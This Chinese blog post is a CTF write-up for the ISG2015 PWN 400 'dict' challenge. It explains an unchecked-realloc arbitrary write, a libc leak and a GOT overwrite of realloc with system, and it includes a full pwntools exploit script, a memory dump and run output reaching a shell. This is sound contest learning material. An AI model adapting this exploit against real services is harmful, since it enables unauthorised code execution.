码迷,mamicode.com
首页 > 其他好文 > 详细

【PWN】ISG2015 PWN 400 DICT WRITEUP

时间:2015-10-19 17:05:50      阅读:238      评论:0      收藏:0      [点我收藏+]

标签:

本题的利用思路是,因为REALLOC之后没有做检查,可以使ptr的值置为0,因此可以控制ptr之前的值,从而造成内存任意写的漏洞。利用是通过覆写got表,使用/bin/sh字符串作为realloc(system)的参数,从而拿到shell。

  1. 漏洞位置
  2. 任意写
  3. 利用
 

首先来看漏洞位置

,因为ptr置0之后,可控参数有:

v1 = (int)((char *)*(&ptr + 2 * v4) + 32 * (v5 + v2));

ptr是0,v5是wordcount,v2是从0开始遍历到新加的词数,v4是dict的号。根据前面的分析,我们可以在一个dict0中创建0x8000xxxx个单词,然后wordcount就会变大,之后如果我们使用一个无效值使ptr变为0,然后就可以完成内存任意写的功能。

 

接下来是任意写的实现

使用addword选择dict0,然后添加0xffffffff个字词,ptr就会变成0,然后再一次addword,选择1个word,然后就可以任意写了。

 

要怎么利用呢

我这里直接给出利用思路,但是探索这个确实是一个很难的过程,在此感谢pwn神学长的指点Orz

  1. leak出libc的加载基址 
    因为自带viewword函数,我们可以把realloc(其他也行)的基址放在某一个字典的ptr上,这样就可以通过printf直接看到。这里是第一个任意内存写。
  2. 将binsh写入另一个字典 
    因为realloc的参数就是字符串指针,我们可以通过在某个字典的ptr上放binsh的地址,然后重写realloc的got表而实现。因为realloc后面还要用到,所以要先写另一个字典。获得offset + baseaddr之后,通过第二个任意内存写写入另一个字典的ptr。
  3. 覆盖realloc的got表 
    上面已经提到,这里用第三个任意内存写将got表覆盖为system即可。
 

内存

gdb-peda$ x /32xw 0x804a0c0
0x804a0c0:  0x00402508  0x00000000  0x00000001  0x09509008
0x804a0d0:  0x00000001  0x09509030  0x00000001  0x09509058
0x804a0e0:  0x00000004  0x0804a018  0x00402509  0x00000000
0x804a0f0:  0x00000001  0xef400468  0x00000001  0xef400490
0x804a100:  0x00000004  0xf7748a24  0x00402502  0x00000000
0x804a110:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a120:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a130:  0x00000000  0x00000000  0x00000000  0x00000000

这个是全部布置完之后的内存。

 

脚本

No code no bibi

#Exploit for pwn400@isg
#@Windcarp 2015.10.18
from pwn import *

#init
context(arch = ‘i386‘, os = ‘linux‘)
local = True
if local:
    p = process("./dict")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
    p = remote("202.120.7.146", 9992)
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
binary = ELF("dict")
#address
realloc_got = 0x0804A018
five_ptr = 0x0804a0e0
ptr_write_cnt = five_ptr / 32
print_word_cnt = 4
#payload
#pause for gdb to attach
raw_input()
#first dict
p.send(‘1‘ + ‘\n‘)
p.send(str(ptr_write_cnt) + ‘\n‘)
for i in range(256):
    p.send("1\n" * (ptr_write_cnt / 256))
    p.recvrepeat(0.02)
    print ‘.‘,
p.send("1\n" * (ptr_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over."
#second 7 dict
for i in range(4):
    p.send(‘1‘ + ‘\n‘)
    p.recvuntil("dict: ")
    p.send(‘1‘ + ‘\n‘)
    p.recvuntil(": ")
    p.send(‘1‘ + ‘\n‘)
    p.recvuntil("$ ")
    #ptr set to 0 &wordcount set to 0xptr
    p.send(‘2‘ + ‘\n‘)
    p.recvuntil("dict: ")
    p.send(‘0‘ + ‘\n‘)
    p.recvuntil("add? ")
    p.send(str(0x7fff0000/32) + ‘\n‘)
    print "[*] Press enter:"
    raw_input()
    p.recvuntil(": ")
    payload1 = p32(print_word_cnt) + p32(realloc_got)
    p.send(payload1 + ‘\n‘)
    p.recvuntil(": ")
    p.send(‘\n‘)
    p.recvuntil("$ ")
#view libc
p.send(‘3‘ + ‘\n‘)
p.recvuntil(": ")
p.send(‘4‘ + ‘\n‘)
p.recvuntil(": ")
data = p.recvuntil("$ ")
    leak = data[0:4]
    print "[*] Leak Data :" + hex(u32(leak))
    offset_system = 0x00040190
    offset_str_bin_sh = 0x160a24
    realloc_libc = libc.symbols["realloc"]
    offset_read = 0x000dabd0
    stackchk_libc = libc.symbols["__stack_chk_fail"]
    printf_libc = libc.symbols["printf"]
    base_addr = u32(leak) - realloc_libc
    system_addr = base_addr + offset_system
    binsh_addr = base_addr + offset_str_bin_sh
    read_addr = base_addr + offset_read
    printf_addr = base_addr + printf_libc
    stackchk_addr = stackchk_libc + base_addr
    puts_addr = libc.symbols["puts"] + base_addr
    print "[*] System_addr :" + hex(system_addr)
    nine_ptr = 0x0804a100
    ptr2_write_cnt = nine_ptr / 32
    p.send(‘1‘ + ‘\n‘)
    p.send(str(ptr2_write_cnt) + ‘\n‘)
    for i in range(256):
    	p.send("1\n" * (ptr2_write_cnt / 256))
    	p.recvrepeat(0.02)
    	print ‘.‘,
    p.send("1\n" * (ptr2_write_cnt % 256))
    p.recvrepeat(0.02)
    print "\n[*] Over2." #nine wordcount done
    for i in range(3):
    	p.send(‘1‘ + ‘\n‘)
    	p.recvuntil("dict: ")
    	p.send(‘1‘ + ‘\n‘)
    	p.recvuntil(": ")
    	p.send(‘1‘ + ‘\n‘)
    	p.recvuntil("$ ")
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘5‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x7fff0000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload2 = p32(print_word_cnt) + p32(binsh_addr)
p.send(payload2 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")#nine ptr done
ten_ptr = realloc_got
ptr3_write_cnt = ten_ptr / 32
pad_cnt = ten_ptr % 32

p.send(‘1‘ + ‘\n‘)
p.send(str(ptr3_write_cnt) + ‘\n‘)
for i in range(256):
    p.send("1\n" * (ptr3_write_cnt / 256))
    p.recvrepeat(0.02)
    print ‘.‘,
p.send("1\n" * (ptr3_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over3." #ten wordcount done
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘9‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x70000000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload3 = ‘a‘ * 12 + p32(read_addr) + p32(printf_addr) + p32(stackchk_addr) + p32(system_addr)
p.send(payload3 + ‘\n‘)
p.recvuntil(": ")
payload4 = p32(puts_addr)
p.send(payload4 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")#nine ptr done
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘8‘ + ‘\n‘)
p.recvuntil("add? ")
print "[*] Press enter:"
raw_input()
p.send(‘1‘ + ‘\n‘)
p.interactive()

脚本水平非常之烂= =写的急不过还是没有赶上最后拿flag,比赛结束一小时才调通。。。%>_<%

$ python testexp.py 
[+] Starting program ‘./dict‘: Done
[*] ‘/lib/i386-linux-gnu/libc.so.6‘
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] ‘/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/dict‘
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
[*] Over.
[*] Press enter:

[*] Leak Data :0xf7651d10
[*] System_addr :0xf761b190
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
[*] Over2.
[*] Press enter:

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
[*] Over3.
[*] Press enter:

[*] Press enter:

[*] Switching to interactive mode
$ ls
1-79fb52a85e9475285b89516852a056fa6280672f.pdf
 

写在最后

先说说这个题目吧,这已经是我现在撑死解答的水平了Orz,Oops的题目良心,确实学到了很多。 
从思路上看,一开始以为是堆溢出的漏洞,走了一些弯路。 
从漏洞上看,这个pwn题就是围绕REALLOC函数做了很多,而且漏洞的利用有很多限制条件:它的内存任意写是必须32个内存一起写,而且只有到无效内存是才能停;而且需要输入很多字符,这一点在一开始很困扰,因为每调试一次都要10分钟之久,导致整个一天调还是进展缓慢,后来请教别人才提高了效率。 
最后,晚上去看校庆演出没认真调代码真是我不对Orz。两天的比赛下来感觉到自己提升还有很多地方。技术水平还是太烂。Bless。

【PWN】ISG2015 PWN 400 DICT WRITEUP

标签:

原文地址:http://www.cnblogs.com/windcarp/p/4892032.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!